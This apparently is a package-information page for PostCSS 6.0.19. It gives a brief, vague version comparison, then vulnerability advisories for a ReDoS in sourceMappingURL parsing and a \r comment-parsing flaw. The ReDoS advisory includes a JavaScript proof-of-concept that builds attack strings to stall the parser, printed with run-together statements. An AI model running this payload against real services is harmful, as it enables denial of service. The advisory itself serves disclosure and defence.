PostCSS version 6.0.19 represents a minor update to the popular CSS transformation tool, building upon the foundations laid by version 6.0.18. Both versions maintain the core functionality of enabling developers to transform styles using JavaScript plugins, offering a flexible and powerful way to automate CSS tasks, enhance code quality, and implement cutting-edge CSS features. The foundational dependencies, including chalk for colored terminal output, source-map for debugging, and supports-color for color support detection, remain consistent between the two versions, ensuring compatibility and a stable development environment.
The key difference between versions 6.0.18 and 6.0.19 lies primarily in the internal refinements and bug fixes implemented. While the API and core features likely remain unchanged, version 6.0.19 incorporates improvements that contribute to overall stability and performance. A slightly increased unpacked size (644037 bytes compared to 643909 bytes) hints at minor code additions or modifications. Although the specific nature of these changes isn't explicitly detailed, developers upgrading from 6.0.18 to 6.0.19 can generally expect a smoother experience with potentially fewer edge-case issues. The release date difference indicates a short period between the two releases, further suggesting that 6.0.19 addresses immediate concerns detected in 6.0.18. For developers relying on PostCSS for critical CSS processing in their projects, upgrading to the latest minor version is generally recommended to benefit from these incremental improvements and ensure a robust build process.
All the vulnerabilities related to the version 6.0.19 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.